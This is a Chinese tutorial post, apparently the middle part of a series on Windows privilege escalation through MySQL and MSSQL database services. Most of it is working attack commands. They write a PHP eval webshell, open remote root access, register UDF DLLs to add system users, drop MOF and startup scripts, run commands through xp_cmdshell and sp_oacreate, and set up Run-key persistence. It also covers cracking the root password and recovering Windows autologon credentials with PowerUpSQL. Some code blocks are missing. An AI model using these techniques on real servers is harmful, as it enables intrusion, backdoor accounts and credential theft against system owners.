Windows提权系列中篇


这一篇的内容主要讲的是关于利用数据库服务来进行提权操作,今天的主要内容是利用mysql、mssql进行提权。

利用Mysql提权

在利用mysql提权之前首先要回顾一下mysql的常用命令:

查路径:select @@basedir as basePath from dual
查用户:select * from mysql.user
注册函数:CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'
查版本:select version();
导出:select load_file(0x633A5C5C626F6F742E696E69) FROM user into outfile 'D://a.txt'
写文件:select '<?php eval($_POST[cmd]);?>' into outfile 'F://a.php';
开外连:GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
读文件:select load_file('c:\boot.ini')
移动文件:select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

查找root密码

利用mysql提权的三种方式均需要获取mysql数据库最高权限root的帐号密码。所以我们先讨论下如何获取mysql的root密码:

1.翻配置文件。关键字:config conn data sql inc database等

2.下载数据文件并破解密文。

root密码密文存放在:mysql数据库存储目录/mysq/user.myd中,低权限下可以用以下命令读取,或者直接使用暗月的“MYSQL低权限读取ROOT密码工具”,然后使用cmd5解密即可。



3.暴力破解。使用类似于【凤凰扫描器】( github.com/0xwindows/fe )的爆破工具。

利用udf提权

UDF为User Defined Function用户自定义函数,也就是支持用户自定义函数的功能。这里的自定义函数要以dll形式写成mysql的插件,提供给mysql来使用。也就是说我们可以通过编写dll文件来实现我们需要的功能,UDF编写可以参考( 404sec.com/7817.html )。利用UDF提权需要知道root账户的密码,并且需要目标系统是Windows。可以使用现成的udf提权工具,下面介绍手工测试的方法。

1.查看mysql版本

select version();#-->5.7.14

2.上传DLL文件

dll文件可以使用webshell上传,也可以通过mysql导出。后缀不一定是dll,可以是任意的。64位和32位版本对应不同的dll文件,拿32位的dll去在64位系统注册的话,会提示错误: Can't open shared library 'udf.dll' (errno: 193 )



在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。

在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL。

在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者\,简单的理解就是不能是绝对路径。 所以我们将DLL上传到包含在PATH这个环境变量内的目录中来跳过这个限制(运行 echo %path% 可以查看可写目录,例如:C:\WINDOWS\udf.dll或C:\WINDOWS\system32\udf.dll),或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。

Mysql5.1及以上版本,必须将DLL文件上传到mysql安装目录下的lib\plugin文件夹下才能创建自定义的函数。默认情况下’plugin’文件夹并不存在,可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。可以用命令 show variables like '%plugin%' 查看是否存在plugin文件夹。可以在webshell中手工创建lib、plugin文件夹,也可以像下面这样利用NTFS ADS流来创建文件夹(5.7.14 权限不足, Errcode: 13 - Permission denied 。5.5.8可以。哪些版本可以?):



如果mysql服务器开启了secure-file-priv选项,就只能将文件导出到指定目录下。可以通过 show variables like '%secure%'; 查询secure-file-priv的值。使用#注释掉mysql安装目录下my.ini 或者mysql.cnf中的 secure_file_priv="c:/wamp64/tmp" 一行,然后重启mysql就可以将文件导出到任意目录了。(待解决问题:apache用户有权限改这个配置文件并且重启mysql么?)

1.创建函数

create function function_name returns string soname 'dll_path' //function_name必须是dll文件中函数
create function cmdshell returns string soname 'udf.dll'//eg

2.调用函数

select function_name(函数参数);
select cmdshell('net user waitalone waitalone.cn /add');#eg

3.删除函数

drop function function_name;
drop function cmdshell;#eg
-- 或者:
delete from mysql.func where name='function_name';
delete from mysql.func where name='cmdshell';#eg

利用mof提权

Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

  1. 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
  2. 使用 IMofCompiler 接口和 $ CompileFile 方法。
  3. 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

也就是说mof提权其实是windows的问题,而不是mysql的漏洞。第三种方法仅为向后兼容性与早期版本的 WMI 提供,因为此功能可能不会提供在将来的版本后。mysql5.7开始默认使用secure-file-priv选项,不能随意选择导出路径,所以mof提权仅适用于以下条件:

  • 操作系统版本低于Windows Server 2008;
  • mysql 版本低于5.7

可以使用现成的mof提权工具,下面介绍手工测试的方法。

1.查看mysql版本

select version();#-->5.5.8

2.编写mof文件



3.导出mof文件

select load_file('C:\RECYCLER\1.mof') into dumpfile 'c:/windows/system32/wbem/mof/test.mof';#先上传到可写目录然后导出到指定目录
select char(35,112) into dumpfile 'c:/windows/system32/wbem/mof/test.mof';#直接导出到指定目录。35,112 代表 ASCII 码值表

成功执行之后,会在c:/windows/system32/wbem/mof/good/目录下多出个test.mof文件。如果mof文件不能执行,则会在c:/windows/system32/wbem/mof/bad/目录下多出个test.mof文件。

4.清理痕迹。成功提权后清理很及时需要删除添加的用户,但是每分钟又会重新执行脚本添加用户。需要使用如下命令清理痕迹:




启动项/组策略

windows 启动项和开关机组策略目录下的脚本会在用户登录、开机、关机是自动运行,利用mysql向这些路径导出脚本即可执行任意命令,mysql5.7开始默认使用secure-file-priv选项,不能随意选择导出路径,所以这种办法需要目标mysql版本低于5.7。具体操作命令如下:



自运行脚本路径整理:



利用Mssql提权

MSSQL作为在Windows系统下最常用的数据库,利用mssql来提权也是经常会遇到的,下面就针对mssql如何提权做一个详细的介绍。

获取数据库密码

  1. 翻配置文件。conn.asp(asp站点) , web.config(aspx站点) , db.inc
  2. 暴力破解。

sa权限利用

微软的SQL Server在提权过程中往往也会给我们很大帮助,尤其是当找到SA用户的密码时,系统权限就基本到手了。

xp_cmdshell

得到SA权限后,我们用的最多的是“xp_cmdshell”这个扩展存储直接执行命令,具体步骤如下:

1.开启xp_cmdshell



2.执行命令

exec xp_cmdshell 'whoami'

从SQL Server 2005 开始,xp_cmdshell默认是禁用的,而且执行xp_cmdshell可能会触发安全警报。下面介绍一些其它通过SQL Server 执行系统命令的方法。

sp_oacreate

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权。

1.打开组件



2.执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\programdata\1.txt' --执行命令无回显

详细介绍:

cnblogs.com/xiao0/archi

SQL Server CLR

Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework 的公共语言运行时 (CLR) 组件集成的功能。CLR 为托管代码提供服务,例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。对于 SQL Server 用户和应用程序开发人员来说,CLR 集成意味着您现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数(标量函数和表值函数)以及用户定义的聚合函数。 要通过此种方式来执行命令,也有几个前提:

1.在SQL Server上能启用CLR并可以创建自定义存储过程

2.SQL Server当前账号具有执行命令/代码所需要的权限

具体测试步骤如下:

1.新建项目。安装Visual Studio和SQL Server数据库,创建一个新的SQL Server数据库项目。设置项目属性,目标平台修改为需要的目标平台,如SQL Server 2012; 将SQLCLR权限级别修改为UNSAFE;修改.Net 框架版本为自己需要的版本;语言选择C#。右键项目,选择添加->新建项,新建SQL CLR C# 存储过程。

2.编写代码。



3.编译。到编译目录下可以看到一个dacpac后缀的文件,双击文件解压打开mode.sql,执行sql文件中的语句:



4.开启数据库服务器配置选项clr enabled:



5.执行命令:

EXEC [dbo].[SqlStoredProcedure1];

6.删除存储过程:

DROP PROCEDURE [dbo].[SqlStoredProcedure1];DROP ASSEMBLY ExecCode

参考连接:

evi1cg.me/archives/Exec

Agent Job

此种方式适用于服务器开启了MSSQL Agent Job服务,并且服务器中当前运行的用户账号拥有足够的权限去创建并执行代理作业的情况。



参考连接:

bobao.360.cn/learning/d

其他方式

freebuf上有一篇很详细的文章,链接如下:

freebuf.com/column/1423

dbower权限

类似于mysql写脚本到自启动目录下,mssql也可以通过差异备份写脚本到自启动目录下。差异备份保存的文件不只是我们的脚本文件,还会有一些我们用不到的垃圾数据。在bat脚本中,我们可以使用回车把垃圾数据提交了,系统会把它们当成无用命令处理,不会影响脚本的正常运行,所以我们在这里选用bat脚本。而且MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作。所以我们得把语句尽量缩短。



除了写脚本到自启动目录下,还可以通过注册表实现开机运行命令:

xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','cmd /c whoami > c:\programdata\4.txt'

工具——PowerUpSQL(未测试)

针对mssql的的攻击与利用,有一个强大的工具PowerUpSQL

github.com/NetSPI/Power

里面也有很多针对MSSQL的攻击方式。这里介绍两种利用方式:

  • SP_Addextendedproc
  1. 创建DLL
    Create-SQLFileXpDll -OutFile C:\programdata\exec.dll -Command "echo Exec test > C:\programdata\test.txt" -ExportName xp_test
  2. 导入DLL
    //via local disk:sp_addextendedproc 'xp_test', 'C:\programdata\xp_test.dll'//via UNC path:sp_addextendedproc 'xp_test', '\servername\pathtofile\exec.dll'
  3. 调用存储过程
    exec master..xp_test;
  4. 卸载存储过程
    sp_dropextendedproc 'xp_test'
  • xp_regread恢复Windows自动登录凭据

可以将Windows配置为在计算机启动时自动登录。 在大多数情况下,当Windows配置为自动登录时,未加密的凭据存储在注册表项中: HKEY_LOCAL_MACHINE SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 。PowerUpSQL中的“Get-SQLRecoverPwAutoLogon”函数可以获取到默认Windows自动登录信息和备用Windows自动登录信息(如果已设置),然后它返回相关的域名,用户名和密码。

$Accessible = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 15| Where-Object {$_.Status –eq “Accessible”}$Accessible | Get-SQLRecoverPwAutoLogon -Verbose

参看链接:

evi1cg.me/archives/Powe

总结

本文主要讲解了利用Windows下的常用数据库进行提权的各种姿势,如果大家有什么意见和建议请积极留言,如果需要详细交流可以加群寻找作者进行沟通。

编辑于 2022-03-06 10:22